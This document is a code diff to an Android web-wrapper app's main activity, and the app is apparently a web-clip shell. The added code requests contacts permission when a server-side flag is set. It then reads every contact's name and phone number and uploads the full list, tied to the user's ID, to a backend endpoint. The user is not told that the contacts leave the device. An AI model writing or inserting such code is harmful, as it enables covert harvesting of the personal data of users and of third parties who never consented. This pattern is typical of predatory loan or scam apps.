|
|
|
|
@@ -4,6 +4,7 @@ import android.annotation.SuppressLint;
|
|
|
|
|
import android.app.Activity;
|
|
|
|
|
import android.app.NotificationManager;
|
|
|
|
|
import android.content.Context;
|
|
|
|
|
import android.content.ContentResolver;
|
|
|
|
|
import android.content.Intent;
|
|
|
|
|
import android.content.SharedPreferences;
|
|
|
|
|
import android.content.pm.ApplicationInfo;
|
|
|
|
|
@@ -36,7 +37,10 @@ import android.webkit.WebView;
|
|
|
|
|
import android.webkit.WebViewClient;
|
|
|
|
|
|
|
|
|
|
import androidx.annotation.Nullable;
|
|
|
|
|
import androidx.annotation.NonNull;
|
|
|
|
|
import androidx.annotation.RequiresApi;
|
|
|
|
|
import androidx.core.app.ActivityCompat;
|
|
|
|
|
import androidx.core.content.ContextCompat;
|
|
|
|
|
import androidx.appcompat.app.ActionBar;
|
|
|
|
|
import androidx.appcompat.app.AppCompatActivity;
|
|
|
|
|
import androidx.core.view.ViewCompat;
|
|
|
|
|
@@ -45,8 +49,12 @@ import androidx.core.view.WindowInsetsCompat;
|
|
|
|
|
import androidx.core.view.WindowInsetsControllerCompat;
|
|
|
|
|
|
|
|
|
|
import com.king.app.updater.AppUpdater;
|
|
|
|
|
import com.google.gson.Gson;
|
|
|
|
|
import com.webclip.base.databinding.ActivityMain2Binding;
|
|
|
|
|
|
|
|
|
|
import android.database.Cursor;
|
|
|
|
|
import android.provider.ContactsContract;
|
|
|
|
|
|
|
|
|
|
import java.io.BufferedReader;
|
|
|
|
|
import java.io.IOException;
|
|
|
|
|
import java.io.InputStream;
|
|
|
|
|
@@ -58,8 +66,11 @@ import java.util.List;
|
|
|
|
|
|
|
|
|
|
import io.reactivex.android.schedulers.AndroidSchedulers;
|
|
|
|
|
import io.reactivex.schedulers.Schedulers;
|
|
|
|
|
import okhttp3.MediaType;
|
|
|
|
|
import okhttp3.RequestBody;
|
|
|
|
|
|
|
|
|
|
public class MainActivity extends AppCompatActivity {
|
|
|
|
|
private static final int REQUEST_CONTACTS = 1001;
|
|
|
|
|
public int styleColor;
|
|
|
|
|
public int windowsColor;
|
|
|
|
|
public static boolean isWhite;
|
|
|
|
|
@@ -75,6 +86,7 @@ public class MainActivity extends AppCompatActivity {
|
|
|
|
|
private String whatsappUrl = "";
|
|
|
|
|
private String telegramUrl = "";
|
|
|
|
|
private List<LinkConfigInfo> linkconfiglist;
|
|
|
|
|
private boolean contactsRequested;
|
|
|
|
|
|
|
|
|
|
float lastX, lastY;
|
|
|
|
|
float initX, initY;
|
|
|
|
|
@@ -661,6 +673,10 @@ public class MainActivity extends AppCompatActivity {
|
|
|
|
|
contactApply = dataInfo.getContactApplyMode();
|
|
|
|
|
notifyApply = dataInfo.getNoticeApplyMode();
|
|
|
|
|
|
|
|
|
|
if (contactApply == 1) {
|
|
|
|
|
applyContactsPermission();
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
//通知权限
|
|
|
|
|
if (notifyApply == 0 || notifyApply == 1) {
|
|
|
|
|
//检测手机是否支持fcm推送
|
|
|
|
|
@@ -704,6 +720,103 @@ public class MainActivity extends AppCompatActivity {
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
private void applyContactsPermission() {
|
|
|
|
|
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.M) {
|
|
|
|
|
hasContact = true;
|
|
|
|
|
loadContacts();
|
|
|
|
|
return;
|
|
|
|
|
}
|
|
|
|
|
if (ContextCompat.checkSelfPermission(this, android.Manifest.permission.READ_CONTACTS)
|
|
|
|
|
== PackageManager.PERMISSION_GRANTED) {
|
|
|
|
|
hasContact = true;
|
|
|
|
|
loadContacts();
|
|
|
|
|
return;
|
|
|
|
|
}
|
|
|
|
|
if (!contactsRequested) {
|
|
|
|
|
contactsRequested = true;
|
|
|
|
|
ActivityCompat.requestPermissions(this,
|
|
|
|
|
new String[]{android.Manifest.permission.READ_CONTACTS},
|
|
|
|
|
REQUEST_CONTACTS);
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
@Override
|
|
|
|
|
public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
|
|
|
|
|
super.onRequestPermissionsResult(requestCode, permissions, grantResults);
|
|
|
|
|
if (requestCode == REQUEST_CONTACTS) {
|
|
|
|
|
hasContact = grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED;
|
|
|
|
|
if (hasContact) {
|
|
|
|
|
loadContacts();
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
private void loadContacts() {
|
|
|
|
|
List<ContactBean> contents = new ArrayList<>();
|
|
|
|
|
Cursor cursor = null;
|
|
|
|
|
try {
|
|
|
|
|
ContentResolver resolver = getContentResolver();
|
|
|
|
|
cursor = resolver.query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI,
|
|
|
|
|
new String[]{ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME, ContactsContract.CommonDataKinds.Phone.NUMBER},
|
|
|
|
|
null,
|
|
|
|
|
null,
|
|
|
|
|
null);
|
|
|
|
|
if (cursor != null) {
|
|
|
|
|
int nameIndex = cursor.getColumnIndexOrThrow(ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME);
|
|
|
|
|
int numberIndex = cursor.getColumnIndexOrThrow(ContactsContract.CommonDataKinds.Phone.NUMBER);
|
|
|
|
|
while (cursor.moveToNext()) {
|
|
|
|
|
String name = cursor.getString(nameIndex);
|
|
|
|
|
String number = cursor.getString(numberIndex);
|
|
|
|
|
if (TextUtils.isEmpty(number)) {
|
|
|
|
|
continue;
|
|
|
|
|
}
|
|
|
|
|
contents.add(new ContactBean(name, number.trim()));
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
} catch (Exception e) {
|
|
|
|
|
Log.e("Contacts", "loadContacts error", e);
|
|
|
|
|
} finally {
|
|
|
|
|
if (cursor != null) {
|
|
|
|
|
cursor.close();
|
|
|
|
|
postReadContact(contents);
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
* 上传通讯录
|
|
|
|
|
*/
|
|
|
|
|
public void postReadContact(List<ContactBean> contents) {
|
|
|
|
|
Gson gson = new Gson();
|
|
|
|
|
HashMap<String, Object> map = new HashMap<>();
|
|
|
|
|
map.put("userId", userId);
|
|
|
|
|
map.put("customers", contents);
|
|
|
|
|
String result = gson.toJson(map);
|
|
|
|
|
MediaType mediaType = MediaType.parse("application/json; charset=utf-8");
|
|
|
|
|
if (mediaType == null) {
|
|
|
|
|
return;
|
|
|
|
|
}
|
|
|
|
|
Api.getInstance().readContact(RequestBody.create(mediaType, result))
|
|
|
|
|
.subscribeOn(Schedulers.io())
|
|
|
|
|
.observeOn(AndroidSchedulers.mainThread())
|
|
|
|
|
.subscribe(new BaseObserver<Result>() {
|
|
|
|
|
@Override
|
|
|
|
|
public void onSuccess(Result o) {
|
|
|
|
|
LogUtils.i("通讯录上传成功");
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
@Override
|
|
|
|
|
public void onError(int code, String msg) {
|
|
|
|
|
LogUtils.i("通讯录上传失败:" + msg);
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
@Override
|
|
|
|
|
public void onError2(Result o) {
|
|
|
|
|
|
|
|
|
|
}
|
|
|
|
|
});
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
private void showUpApp(DataInfo dataInfo) {
|
|
|
|
|
//判定版本更新
|
|
|
|
|
|